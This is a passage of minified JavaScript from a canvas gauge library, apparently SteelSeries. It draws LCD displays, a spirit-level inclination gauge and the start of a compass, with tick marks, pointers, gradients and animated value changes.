lcdColor.textColor; var sectionIndex; // Draw sections if (null !== section && 0 < section.length) { for (sectionIndex = 0 ; sectionIndex < section.length ; sectionIndex++) { if (value >= section[sectionIndex].start && value <= section[sectionIndex].stop) { lcdBackgroundBuffer = sectionBuffer[sectionIndex]; lcdTextColor = sectionForegroundColor[sectionIndex]; break; } } } // Draw lcd background mainCtx.drawImage(lcdBackgroundBuffer, 0, 0); // Draw lcd text drawLcdText(value, lcdTextColor); repainting = false; }; // Visualize the component this.repaint(); return this; }; var displayMulti = function (canvas, parameters) { parameters = parameters || {}; var width = (undefined === parameters.width ? 0 : parameters.width), height = (undefined === parameters.height ? 0 : parameters.height), lcdColor = (undefined === parameters.lcdColor ? steelseries.LcdColor.STANDARD : parameters.lcdColor), lcdDecimals = (undefined === parameters.lcdDecimals ? 2 : parameters.lcdDecimals), headerString = (undefined === parameters.headerString ? '' : parameters.headerString), headerStringVisible = (undefined === parameters.headerStringVisible ? false : parameters.headerStringVisible), detailString = (undefined === parameters.detailString ? '' : parameters.detailString), detailStringVisible = (undefined === parameters.detailStringVisible ? false : parameters.detailStringVisible), linkAltValue = (undefined === parameters.linkAltValue ? true : parameters.linkAltValue), unitString = (undefined === parameters.unitString ? '' : parameters.unitString), unitStringVisible = (undefined === parameters.unitStringVisible ? false : parameters.unitStringVisible), digitalFont = (undefined === parameters.digitalFont ? false : parameters.digitalFont), valuesNumeric = (undefined === parameters.valuesNumeric ? true : parameters.valuesNumeric), value = (undefined === parameters.value ? 0 : parameters.value), altValue = (undefined === parameters.altValue ? 0 : parameters.altValue); // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (width === 0) { width = mainCtx.canvas.width; } if (height === 0) { height = mainCtx.canvas.height; } // Set the size - also clears the canvas mainCtx.canvas.width = width; mainCtx.canvas.height = height; var imageWidth = width; var imageHeight = height; var stdFont = Math.floor(imageHeight / 1.875) + 'px ' + stdFontName; var lcdFont = Math.floor(imageHeight / 1.875) + 'px ' + lcdFontName; var stdAltFont = Math.floor(imageHeight / 3.5) + 'px ' + stdFontName; var lcdAltFont = Math.floor(imageHeight / 3.5) + 'px ' + lcdFontName; var initialized = false; // ************** Buffer creation ******************** // Buffer for the lcd var lcdBuffer; // ************** Image creation ******************** var drawLcdText = function (value) { mainCtx.save(); mainCtx.textAlign = 'right'; mainCtx.textBaseline = 'middle'; mainCtx.strokeStyle = lcdColor.textColor; mainCtx.fillStyle = lcdColor.textColor; if (lcdColor === steelseries.LcdColor.STANDARD || lcdColor === steelseries.LcdColor.STANDARD_GREEN) { mainCtx.shadowColor = 'gray'; mainCtx.shadowOffsetX = imageHeight * 0.025; mainCtx.shadowOffsetY = imageHeight * 0.025; mainCtx.shadowBlur = imageHeight * 0.05; } if (valuesNumeric) { // Numeric value if (headerStringVisible) { mainCtx.font = Math.floor(imageHeight / 3) + 'px ' + stdFontName; } else { mainCtx.font = Math.floor(imageHeight / 2.5) + 'px ' + stdFontName; } var unitWidth = 0; if (unitStringVisible) { if (headerStringVisible) { mainCtx.font = Math.floor(imageHeight / 3) + 'px ' + stdFontName; unitWidth = mainCtx.measureText(unitString).width; } else { mainCtx.font = Math.floor(imageHeight / 2.5) + 'px ' + stdFontName; unitWidth = mainCtx.measureText(unitString).width; } } mainCtx.font = digitalFont ? lcdFont : stdFont; var valueText = value.toFixed(lcdDecimals); if (headerStringVisible) { mainCtx.fillText(valueText, imageWidth - unitWidth - 4, imageHeight * 0.5); } else { mainCtx.fillText(valueText, imageWidth - unitWidth - 4, imageHeight * 0.38); } if (unitStringVisible) { mainCtx.font = Math.floor(imageHeight / 3) + 'px ' + stdFontName; mainCtx.fillText(unitString, imageWidth - 2, imageHeight * 0.55); } var altValueText = altValue.toFixed(lcdDecimals); if (detailStringVisible) { altValueText = detailString + altValueText; } if (digitalFont) { mainCtx.font = lcdAltFont; } else { if (headerStringVisible) { mainCtx.font = Math.floor(imageHeight / 5) + 'px ' + stdFontName; } else { mainCtx.font = stdAltFont; } } mainCtx.textAlign = 'center'; if (headerStringVisible) { mainCtx.fillText(altValueText, imageWidth / 2, imageHeight * 0.83); mainCtx.fillText(headerString, imageWidth / 2, imageHeight * 0.16); } else { mainCtx.fillText(altValueText, imageWidth / 2, imageHeight * 0.8); } } else { if (headerStringVisible) { // Text value mainCtx.font = Math.floor(imageHeight / 3.5) + 'px ' + stdFontName; mainCtx.fillText(value, imageWidth - 2, imageHeight * 0.48); //mainCtx.font = stdAltFont; mainCtx.font = Math.floor(imageHeight / 5) + 'px ' + stdFontName; mainCtx.textAlign = 'center'; mainCtx.fillText(altValue, imageWidth / 2, imageHeight * 0.83); mainCtx.fillText(headerString, imageWidth / 2, imageHeight * 0.17); } else { // Text value mainCtx.font = Math.floor(imageHeight / 2.5) + 'px ' + stdFontName; mainCtx.fillText(value, imageWidth - 2, imageHeight * 0.38); mainCtx.font = stdAltFont; mainCtx.textAlign = 'center'; mainCtx.fillText(altValue, imageWidth / 2, imageHeight * 0.8); } } mainCtx.restore(); }; // ************** Initialization ******************** var init = function () { initialized = true; // Create lcd background if selected in background buffer (backgroundBuffer) lcdBuffer = createLcdBackgroundImage(width, height, lcdColor); }; // ************** Public methods ******************** this.setValue = function (newValue) { if (value !== newValue) { if (linkAltValue) { altValue = value; } value = newValue; this.repaint(); } return this; }; this.setAltValue = function (altValueNew) { if (altValue !== altValueNew) { altValue = altValueNew; this.repaint(); } return this; }; this.setLcdColor = function (newLcdColor) { lcdColor = newLcdColor; init(); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init(); } //mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); // Draw lcd background mainCtx.drawImage(lcdBuffer, 0, 0); // Draw lcd text drawLcdText(value); }; // Visualize the component this.repaint(); return this; }; var level = function (canvas, parameters) { parameters = parameters || {}; var size = (undefined === parameters.size ? 0 : parameters.size), decimalsVisible = (undefined === parameters.decimalsVisible ? false : parameters.decimalsVisible), textOrientationFixed = (undefined === parameters.textOrientationFixed ? false : parameters.textOrientationFixed), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), pointerColor = (undefined === parameters.pointerColor ? steelseries.ColorDef.RED : parameters.pointerColor), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), rotateFace = (undefined === parameters.rotateFace ? false : parameters.rotateFace); // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; var tween; var repainting = false; var value = 0; var stepValue = 0; var visibleValue = 0; var angleStep = TWO_PI / 360; var angle = this.value; var decimals = decimalsVisible ? 1 : 0; var imageWidth = size; var imageHeight = size; var centerX = imageWidth / 2; var centerY = imageHeight / 2; var initialized = false; // ************** Buffer creation ******************** // Buffer for all static background painting code var backgroundBuffer = createBuffer(size, size); var backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for pointer image painting code var pointerBuffer = createBuffer(size, size); var pointerContext = pointerBuffer.getContext('2d'); // Buffer for step pointer image painting code var stepPointerBuffer = createBuffer(size, size); var stepPointerContext = stepPointerBuffer.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(size, size); var foregroundContext = foregroundBuffer.getContext('2d'); // ************** Image creation ******************** var drawTickmarksImage = function (ctx) { var stdFont, smlFont, i; ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.save(); ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); ctx.translate(centerX, centerY); for (i = 0; 360 > i; i++) { ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.lineWidth = 0.5; ctx.beginPath(); ctx.moveTo(imageWidth * 0.38, 0); ctx.lineTo(imageWidth * 0.37, 0); ctx.closePath(); ctx.stroke(); if (0 === i % 5) { ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(imageWidth * 0.38, 0); ctx.lineTo(imageWidth * 0.36, 0); ctx.closePath(); ctx.stroke(); } if (0 === i % 45) { ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(imageWidth * 0.38, 0); ctx.lineTo(imageWidth * 0.34, 0); ctx.closePath(); ctx.stroke(); } // Draw the labels if (300 < imageWidth) { stdFont = '14px ' + stdFont; smlFont = '12px ' + stdFont; } if (300 >= imageWidth) { stdFont = '12px ' + stdFont; smlFont = '10px ' + stdFont; } if (200 >= imageWidth) { stdFont = '10px ' + stdFont; smlFont = '8px ' + stdFont; } if (100 >= imageWidth) { stdFont = '8px ' + stdFont; smlFont = '6px ' + stdFont; } ctx.save(); switch (i) { case 0: ctx.translate(imageWidth * 0.31, 0); ctx.rotate((i * RAD_FACTOR) + HALF_PI); ctx.font = stdFont; ctx.fillText('0\u00B0', 0, 0, imageWidth); ctx.rotate(-(i * RAD_FACTOR) + HALF_PI); ctx.translate(-imageWidth * 0.31, 0); ctx.translate(imageWidth * 0.41, 0); ctx.rotate((i * RAD_FACTOR) - HALF_PI); ctx.font = smlFont; ctx.fillText('0%', 0, 0, imageWidth); break; case 45: ctx.translate(imageWidth * 0.31, 0); ctx.rotate((i * RAD_FACTOR) + 0.25 * PI); ctx.font = stdFont; ctx.fillText('45\u00B0', 0, 0, imageWidth); ctx.rotate(-(i * RAD_FACTOR) + 0.25 * PI); ctx.translate(-imageWidth * 0.31, 0); ctx.translate(imageWidth * 0.31, imageWidth * 0.085); ctx.rotate((i * RAD_FACTOR) - 0.25 * PI); ctx.font = smlFont; ctx.fillText('100%', 0, 0, imageWidth); break; case 90: ctx.translate(imageWidth * 0.31, 0); ctx.rotate((i * RAD_FACTOR)); ctx.font = stdFont; ctx.fillText('90\u00B0', 0, 0, imageWidth); ctx.rotate(-(i * RAD_FACTOR)); ctx.translate(-imageWidth * 0.31, 0); ctx.translate(imageWidth * 0.21, 0); ctx.rotate((i * RAD_FACTOR)); ctx.font = smlFont; ctx.fillText('\u221E', 0, 0, imageWidth); break; case 135: ctx.translate(imageWidth * 0.31, 0); ctx.rotate((i * RAD_FACTOR) - 0.25 * PI); ctx.font = stdFont; ctx.fillText('45\u00B0', 0, 0, imageWidth); ctx.rotate(-(i * RAD_FACTOR) - 0.25 * PI); ctx.translate(-imageWidth * 0.31, 0); ctx.translate(imageWidth * 0.31, -imageWidth * 0.085); ctx.rotate((i * RAD_FACTOR) + 0.25 * PI); ctx.font = smlFont; ctx.fillText('100%', 0, 0, imageWidth); break; case 180: ctx.translate(imageWidth * 0.31, 0); ctx.rotate((i * RAD_FACTOR) - HALF_PI); ctx.font = stdFont; ctx.fillText('0\u00B0', 0, 0, imageWidth); ctx.rotate(-(i * RAD_FACTOR) - HALF_PI); ctx.translate(-imageWidth * 0.31, 0); ctx.translate(imageWidth * 0.41, 0); ctx.rotate((i * RAD_FACTOR) + HALF_PI); ctx.font = smlFont; ctx.fillText('0%', 0, 0, imageWidth); ctx.translate(-imageWidth * 0.41, 0); break; case 225: ctx.translate(imageWidth * 0.31, 0); ctx.rotate((i * RAD_FACTOR) - 0.75 * PI); ctx.font = stdFont; ctx.fillText('45\u00B0', 0, 0, imageWidth); ctx.rotate(-(i * RAD_FACTOR) - 0.75 * PI); ctx.translate(-imageWidth * 0.31, 0); ctx.translate(imageWidth * 0.31, imageWidth * 0.085); ctx.rotate((i * RAD_FACTOR) + 0.75 * PI); ctx.font = smlFont; ctx.fillText('100%', 0, 0, imageWidth); break; case 270: ctx.translate(imageWidth * 0.31, 0); ctx.rotate((i * RAD_FACTOR) - PI); ctx.font = stdFont; ctx.fillText('90\u00B0', 0, 0, imageWidth); ctx.rotate(-(i * RAD_FACTOR) - PI); ctx.translate(-imageWidth * 0.31, 0); ctx.translate(imageWidth * 0.21, 0); ctx.rotate((i * RAD_FACTOR) - PI); ctx.font = smlFont; ctx.fillText('\u221E', 0, 0, imageWidth); break; case 315: ctx.translate(imageWidth * 0.31, 0); ctx.rotate((i * RAD_FACTOR) - 1.25 * PI); ctx.font = stdFont; ctx.fillText('45\u00B0', 0, 0, imageWidth); ctx.rotate(-(i * RAD_FACTOR) - 1.25 * PI); ctx.translate(-imageWidth * 0.31, 0); ctx.translate(imageWidth * 0.31, -imageWidth * 0.085); ctx.rotate((i * RAD_FACTOR) + 1.25 * PI); ctx.font = smlFont; ctx.fillText('100%', 0, 0, imageWidth); break; } ctx.restore(); ctx.rotate(angleStep); } ctx.translate(-centerX, -centerY); ctx.restore(); }; var drawMarkerImage = function (ctx) { ctx.save(); ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); // FRAMELEFT ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.200934, imageHeight * 0.434579); ctx.lineTo(imageWidth * 0.163551, imageHeight * 0.434579); ctx.lineTo(imageWidth * 0.163551, imageHeight * 0.560747); ctx.lineTo(imageWidth * 0.200934, imageHeight * 0.560747); ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.stroke(); // TRIANGLELEFT ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.163551, imageHeight * 0.471962); ctx.lineTo(imageWidth * 0.205607, imageHeight * 0.5); ctx.lineTo(imageWidth * 0.163551, imageHeight * 0.523364); ctx.lineTo(imageWidth * 0.163551, imageHeight * 0.471962); ctx.closePath(); ctx.fill(); // FRAMERIGHT ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.799065, imageHeight * 0.434579); ctx.lineTo(imageWidth * 0.836448, imageHeight * 0.434579); ctx.lineTo(imageWidth * 0.836448, imageHeight * 0.560747); ctx.lineTo(imageWidth * 0.799065, imageHeight * 0.560747); ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.stroke(); // TRIANGLERIGHT ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.836448, imageHeight * 0.471962); ctx.lineTo(imageWidth * 0.794392, imageHeight * 0.5); ctx.lineTo(imageWidth * 0.836448, imageHeight * 0.523364); ctx.lineTo(imageWidth * 0.836448, imageHeight * 0.471962); ctx.closePath(); ctx.fill(); ctx.restore(); }; var drawPointerImage = function (ctx) { ctx.save(); // POINTER_LEVEL ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.523364, imageHeight * 0.350467); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.130841); ctx.lineTo(imageWidth * 0.476635, imageHeight * 0.350467); ctx.bezierCurveTo(imageWidth * 0.476635, imageHeight * 0.350467, imageWidth * 0.490654, imageHeight * 0.345794, imageWidth * 0.5, imageHeight * 0.345794); ctx.bezierCurveTo(imageWidth * 0.509345, imageHeight * 0.345794, imageWidth * 0.523364, imageHeight * 0.350467, imageWidth * 0.523364, imageHeight * 0.350467); ctx.closePath(); var POINTER_LEVEL_GRADIENT = ctx.createLinearGradient(0, 0.154205 * imageHeight, 0, 0.350466 * imageHeight); var tmpDarkColor = pointerColor.dark; var tmpLightColor = pointerColor.light; tmpDarkColor.setAlpha(0.70588); tmpLightColor.setAlpha(0.70588); POINTER_LEVEL_GRADIENT.addColorStop(0, tmpDarkColor.getRgbaColor()); POINTER_LEVEL_GRADIENT.addColorStop(0.3, tmpLightColor.getRgbaColor()); POINTER_LEVEL_GRADIENT.addColorStop(0.59, tmpLightColor.getRgbaColor()); POINTER_LEVEL_GRADIENT.addColorStop(1, tmpDarkColor.getRgbaColor()); ctx.fillStyle = POINTER_LEVEL_GRADIENT; var strokeColor_POINTER_LEVEL = pointerColor.light.getRgbaColor(); ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.strokeStyle = strokeColor_POINTER_LEVEL; ctx.fill(); ctx.stroke(); tmpDarkColor.setAlpha(1); tmpLightColor.setAlpha(1); ctx.restore(); }; var drawStepPointerImage = function (ctx) { ctx.save(); var tmpDarkColor = pointerColor.dark; var tmpLightColor = pointerColor.light; tmpDarkColor.setAlpha(0.70588); tmpLightColor.setAlpha(0.70588); // POINTER_LEVEL_LEFT ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.285046, imageHeight * 0.514018); ctx.lineTo(imageWidth * 0.210280, imageHeight * 0.5); ctx.lineTo(imageWidth * 0.285046, imageHeight * 0.481308); ctx.bezierCurveTo(imageWidth * 0.285046, imageHeight * 0.481308, imageWidth * 0.280373, imageHeight * 0.490654, imageWidth * 0.280373, imageHeight * 0.495327); ctx.bezierCurveTo(imageWidth * 0.280373, imageHeight * 0.504672, imageWidth * 0.285046, imageHeight * 0.514018, imageWidth * 0.285046, imageHeight * 0.514018); ctx.closePath(); var POINTER_LEVEL_LEFT_GRADIENT = ctx.createLinearGradient(0.224299 * imageWidth, 0, 0.289719 * imageWidth, 0); POINTER_LEVEL_LEFT_GRADIENT.addColorStop(0, tmpDarkColor.getRgbaColor()); POINTER_LEVEL_LEFT_GRADIENT.addColorStop(0.3, tmpLightColor.getRgbaColor()); POINTER_LEVEL_LEFT_GRADIENT.addColorStop(0.59, tmpLightColor.getRgbaColor()); POINTER_LEVEL_LEFT_GRADIENT.addColorStop(1, tmpDarkColor.getRgbaColor()); ctx.fillStyle = POINTER_LEVEL_LEFT_GRADIENT; var strokeColor_POINTER_LEVEL_LEFT = pointerColor.light.getRgbaColor(); ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.strokeStyle = strokeColor_POINTER_LEVEL_LEFT; ctx.fill(); ctx.stroke(); // POINTER_LEVEL_RIGHT ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.714953, imageHeight * 0.514018); ctx.lineTo(imageWidth * 0.789719, imageHeight * 0.5); ctx.lineTo(imageWidth * 0.714953, imageHeight * 0.481308); ctx.bezierCurveTo(imageWidth * 0.714953, imageHeight * 0.481308, imageWidth * 0.719626, imageHeight * 0.490654, imageWidth * 0.719626, imageHeight * 0.495327); ctx.bezierCurveTo(imageWidth * 0.719626, imageHeight * 0.504672, imageWidth * 0.714953, imageHeight * 0.514018, imageWidth * 0.714953, imageHeight * 0.514018); ctx.closePath(); var POINTER_LEVEL_RIGHT_GRADIENT = ctx.createLinearGradient(0.775700 * imageWidth, 0, 0.71028 * imageWidth, 0); POINTER_LEVEL_RIGHT_GRADIENT.addColorStop(0, tmpDarkColor.getRgbaColor()); POINTER_LEVEL_RIGHT_GRADIENT.addColorStop(0.3, tmpLightColor.getRgbaColor()); POINTER_LEVEL_RIGHT_GRADIENT.addColorStop(0.59, tmpLightColor.getRgbaColor()); POINTER_LEVEL_RIGHT_GRADIENT.addColorStop(1, tmpDarkColor.getRgbaColor()); ctx.fillStyle = POINTER_LEVEL_RIGHT_GRADIENT; var strokeColor_POINTER_LEVEL_RIGHT = pointerColor.light.getRgbaColor(); ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.strokeStyle = strokeColor_POINTER_LEVEL_RIGHT; ctx.fill(); ctx.stroke(); tmpDarkColor.setAlpha(1); tmpLightColor.setAlpha(1); ctx.restore(); }; // ************** Initialization ******************** // Draw all static painting code to background var init = function () { initialized = true; if (frameVisible) { drawRadialFrameImage(backgroundContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } if (backgroundVisible) { drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, centerY, imageWidth, imageHeight); drawTickmarksImage(backgroundContext); } drawMarkerImage(pointerContext); drawPointerImage(pointerContext); drawStepPointerImage(stepPointerContext); if (foregroundVisible) { drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, false); } }; var resetBuffers = function () { backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for pointer image painting code pointerBuffer.width = size; pointerBuffer.height = size; pointerContext = pointerBuffer.getContext('2d'); // Buffer for step pointer image painting code stepPointerBuffer.width = size; stepPointerBuffer.height = size; stepPointerContext = stepPointerBuffer.getContext('2d'); // Buffer for static foreground painting code foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); }; //************************************ Public methods ************************************** this.setValue = function (newValue) { var targetValue; newValue = parseFloat(newValue); targetValue = 0 > newValue ? (360 + newValue) : newValue; targetValue = 359.9 < newValue ? (newValue - 360) : newValue; if (value !== targetValue) { value = targetValue; stepValue = 2 * ((Math.abs(value) * 10) % 10); if (10 < stepValue) { stepValue -= 20; } if (0 === value) { visibleValue = 90; } if (0 < value && 90 >= value) { visibleValue = (90 - value); } if (90 < value && 180 >= value) { visibleValue = (value - 90); } if (180 < value && 270 >= value) { visibleValue = (270 - value); } if (270 < value && 360 >= value) { visibleValue = (value - 270); } if (0 > value && value >= -90) { visibleValue = (90 - Math.abs(value)); } if (value < -90 && value >= -180) { visibleValue = Math.abs(value) - 90; } if (value < -180 && value >= -270) { visibleValue = 270 - Math.abs(value); } if (value < -270 && value >= -360) { visibleValue = Math.abs(value) - 270; } this.repaint(); } return this; }; this.getValue = function () { return value; }; this.setValueAnimated = function (newValue, callback) { newValue = parseFloat(newValue); if (360 - newValue + value < newValue - value) { newValue = 360 - newValue; } if (value !== newValue) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } //tween = new Tween(new Object(),'',Tween.elasticEaseOut,this.value,targetValue, 1); tween = new Tween({}, '', Tween.regularEaseInOut, value, newValue, 1); //tween = new Tween(new Object(), '', Tween.strongEaseInOut, this.value, targetValue, 1); var gauge = this; tween.onMotionChanged = function (event) { value = event.target._pos; stepValue = 2 * ((Math.abs(value) * 10) % 10); if (10 < stepValue) { stepValue -= 20; } if (0 === value) { visibleValue = 90; } if (0 < value && 90 >= value) { visibleValue = (90 - value); } if (90 < value && 180 >= value) { visibleValue = (value - 90); } if (180 < value && 270 >= value) { visibleValue = (270 - value); } if (270 < value && 360 >= value) { visibleValue = (value - 270); } if (0 > value && value >= -90) { visibleValue = (90 - Math.abs(value)); } if (value < -90 && value >= -180) { visibleValue = Math.abs(value) - 90; } if (value < -180 && value >= -270) { visibleValue = 270 - Math.abs(value); } if (value < -270 && value >= -360) { visibleValue = Math.abs(value) - 270; } if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers(); frameDesign = newFrameDesign; init(); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers(); backgroundColor = newBackgroundColor; init(); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers(); foregroundType = newForegroundType; init(); this.repaint(); return this; }; this.setPointerColor = function (newPointerColor) { resetBuffers(); pointerColor = newPointerColor; init(); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init(); } mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); angle = HALF_PI + value * angleStep - HALF_PI; if (rotateFace) { mainCtx.translate(centerX, centerY); mainCtx.rotate(-angle); mainCtx.translate(-centerX, -centerY); } // Draw buffered image to visible canvas if (frameVisible || backgroundVisible) { mainCtx.drawImage(backgroundBuffer, 0, 0); } mainCtx.save(); // Define rotation center mainCtx.translate(centerX, centerY); mainCtx.rotate(angle); // Draw pointer mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(pointerBuffer, 0, 0); mainCtx.fillStyle = backgroundColor.labelColor.getRgbaColor(); mainCtx.textAlign = 'center'; mainCtx.textBaseline = 'middle'; if (textOrientationFixed) { mainCtx.restore(); if (decimalsVisible) { mainCtx.font = imageWidth * 0.1 + 'px ' + stdFontName; } else { mainCtx.font = imageWidth * 0.15 + 'px ' + stdFontName; } mainCtx.fillText(visibleValue.toFixed(decimals) + '\u00B0', centerX, centerY, imageWidth * 0.35); } else { if (decimalsVisible) { mainCtx.font = imageWidth * 0.15 + 'px ' + stdFontName; } else { mainCtx.font = imageWidth * 0.2 + 'px ' + stdFontName; } mainCtx.fillText(visibleValue.toFixed(decimals) + '\u00B0', centerX, centerY, imageWidth * 0.35); mainCtx.restore(); } mainCtx.translate(centerX, centerY); mainCtx.rotate(angle + stepValue * RAD_FACTOR); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(stepPointerBuffer, 0, 0); mainCtx.restore(); // Draw foreground if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } mainCtx.restore(); repainting = false; }; // Visualize the component this.repaint(); return this; }; var compass = function (canvas, parameters) { parameters = parameters || {}; var size = (undefined === parameters.size ? 0 : parameters.size), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), pointerType = (undefined === parameters.pointerType ? steelseries.PointerType.TYPE2 : parameters.pointerType), pointerColor = (undefined === parameters.pointerColor ? steelseries.ColorDef.RED : parameters.pointerColor), knobType = (undefined === parameters.knobType ? steelseries.KnobType.STANDARD_KNOB : parameters.knobType), knobStyle = (undefined === parameters.knobStyle ? steelseries.KnobStyle.SILVER : parameters.knobStyle), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), pointSymbols = (undefined === parameters.pointSymbols ? ['N', 'NE', 'E', 'SE', 'S', 'SW', 'W', 'NW'] : parameters.pointSymbols), pointSymbolsVisible = (undefined === parameters.pointSymbolsVisible ? true : parameters.pointSymbolsVisible), customLayer = (undefined === parameters.customLayer ? null : parameters.customLayer), degreeScale = (undefined === parameters.degreeScale ? false : parameters.degreeScale), roseVisible = (undefined === parameters.roseVisible ? true : parameters.roseVisible), rotateFace = (undefined === parameters.rotateFace ? false : parameters.rotateFace); var tween; var repainting = false; var value = 0; var angleStep = RAD_FACTOR; var angle = this.value; // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; var imageWidth = size; var imageHeight = size; var centerX = imageWidth / 2; var centerY = imageHeight / 2; var shadowOffset = imageWidth * 0.006; var initialized = false; // ************** Buffer creation ******************** // Buffer for all static background painting code var backgroundBuffer = createBuffer(size, size); var backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for symbol/rose painting code var roseBuffer = createBuffer(size, size); var roseContext = roseBuffer.getContext('2d'); // Buffer for pointer image painting code var pointerBuffer = createBuffer(size, size); var pointerContext = pointerBuffer.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(size, size); var foregroundContext = foregroundBuffer.getContext('2d'); // ************** Image creation ******************** var drawTickmarksImage = function (ctx) { var val; ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; var stdFont, smlFont, i; ctx.save(); ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); ctx.translate(centerX, centerY); if (!degreeScale) { stdFont = 0.12 * imageWidth + 'px serif'; smlFont = 0.06 * imageWidth + 'px serif'; for (i = 0; 360 > i; i += 2.5) { if (0 === i % 5) { ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(imageWidth * 0.38, 0); ctx.lineTo(imageWidth * 0.36, 0); ctx.closePath(); ctx.stroke(); } // Draw the labels ctx.save(); switch (i) { case 0: ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[2], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.35, 0); break; case 45: ctx.translate(imageWidth * 0.29, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(pointSymbols[3], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.29, 0); break; case 90: ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[4], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.35, 0); break; case 135: ctx.translate(imageWidth * 0.29, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(pointSymbols[5], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.29, 0); break; case 180: ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[6], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.35, 0); break; case 225: ctx.translate(imageWidth * 0.29, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(pointSymbols[7], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.29, 0); break; case 270: ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[0], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.35, 0); break; case 315: 